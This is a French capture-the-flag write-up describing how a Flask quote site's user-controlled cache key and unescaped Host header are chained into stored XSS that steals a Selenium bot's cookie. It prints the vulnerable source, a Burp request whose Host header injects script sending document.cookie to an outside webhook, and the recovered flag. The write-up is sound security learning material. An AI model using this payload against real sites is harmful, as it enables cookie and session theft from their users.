Team : The Penetrators

Overview

On a une application web flask d’affichage de citations avec la possibilité de faire consulter la citation par un bot selenium. L’objectif est de voler le cookie du bot.

Code

from flask import Flask, request
from flask_caching import Cache
import random
import string
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from os import environ
from time import sleep

app = Flask(__name__)
config = {
    "DEBUG": False,
    "CACHE_TYPE": "SimpleCache",
    "CACHE_DEFAULT_TIMEOUT": 300
}
app.config.from_mapping(config)
cache = Cache(app)

def make_key():
    cachekey = request.args.get("cachekey")
    return cachekey if cachekey else ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))

@app.route('/script/main.js', methods=["GET"])
def script():
    return "setTimeout(function(){document.getElementById('quote').innerText = 'Welcome to my personal website !';},1500);"

@app.route('/visit', methods=["GET","POST"])
def visit():
    if request.method == "GET":
        return f'''
            <!DOCTYPE HTML>
                <html>
                    <head>
                        <title>Show me your quote!</title>
                    </head>
                    <body>
                        <form method="POST" action="/visit">
                            <input type="text" placeholder="http://superquote.fr/myquote" name="url" id="url"/>
                            <br/>
                            <button action="submit">Send your quote!</button>
                        </form>
                    </body>
                </html>
        '''
    elif request.method == "POST":
        if(request.form.get("url") and request.form.get("url").startswith("http://") or request.form.get("url").startswith("https://")):
            chrome_options = Options()
            chrome_options.add_argument("--headless")
            chrome_options.add_argument("--incognito")
            chrome_options.add_argument("--no-sandbox")
            chrome_options.add_argument("--disable-gpu")
            chrome_options.add_argument("--disable-jit")
            chrome_options.add_argument("--disable-wasm")
            chrome_options.add_argument("--disable-dev-shm-usage")
            chrome_options.add_argument("--ignore-certificate-errors")
            chrome_options.binary_location = "/usr/bin/chromium-browser"
            service = Service("/usr/bin/chromedriver")
            driver = webdriver.Chrome(service=service, options=chrome_options)
            driver.set_page_load_timeout(3)
            driver.get("http://127.0.0.1:5000")
            driver.add_cookie({
                "name": "flag",
                "value": environ.get("FLAG"),
                "path": "/",
                "httpOnly": False,
                "samesite": "Strict",
                "domain": "127.0.0.1"
            })
            try:
                driver.get(request.form.get("url"))
            except: 
                pass
            sleep(3)
            driver.close()
            return "That's a good quote !"
        else:
            return "'url' parameter not given or is incorrect"
    else:
        return 'Method not allowed.'

@app.route('/')
@cache.cached(timeout=60, make_cache_key=make_key)
def index():
    return f'''
    <!DOCTYPE HTML>
    <head>
        <script src="http://{request.headers.get('Host')}/script/main.js"></script>
    </head>
    <body>
        The today random quote is : <p id="quote"></p>
    </body>
    '''

app.run(host='0.0.0.0', port=5000)

On a deux endpoints :

  • / : La page d’accueil par défaut fait appel au script main.js du serveur (Si on ne modifie pas le host du header http côté client). C’est dans ce endpoint qu’il y a un usage de cache.
  • /visit : Sur cette page, on soumet l’url pour que le bot visite notre lien

Dans le code ci-dessus, on peut constater que l’utilisateur peut injecter lui même un cache (via le param cachekey en http GET). Sur la page d’accueil, le script main.js est importé en prenant comme hôte la valeur de la variable host du header http, on a ainsi un moyens d’effectuer une xss en modifant notre host dans le header.

Exploitation de cache poisoning et d’XSS

  • On peut donc initialiser un cache avec des paramètres http malveillants et forcer le bot à nous donner le flag via la réutilisation de notre cache
  • La XSS d’exfiltration du cookie se fait à travers la modification de notre Host du http header.

Payload

Dans le repeater de Burp :

GET /?cachekey=infected HTTP/1.1
Host: "></script><script>window.location="https://<webhook>/?/=".concat(document.cookie);</script>
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

On lance une fois la requête au site web côté attaquant pour faire en sorte que notre xss soit stocké dans le cache côté serveur la 1ere fois. Enfin, on soumet l’url suivant à notre bot :

# Cache poisoning -> Le xss est stocké dans le cache "infected"
http://127.0.0.1:5000/?cachekey=infected 

On récupère le flag via le webhook : MCTF{c4ch3_p0is0ning_t0_xss}

Remarque : On utilise 127.0.0.1 comme hôte pour notre bot car le cookie contenant le flag est initialisé sous cet hôte

driver.add_cookie({
                "name": "flag",
                "value": environ.get("FLAG"),
                "path": "/",
                "httpOnly": False,
                "samesite": "Strict",
                "domain": "127.0.0.1"
            })

Conclusion

Un challenge interessant vu que je découvre sur le tas l’exploitation du cache poisoning 🥰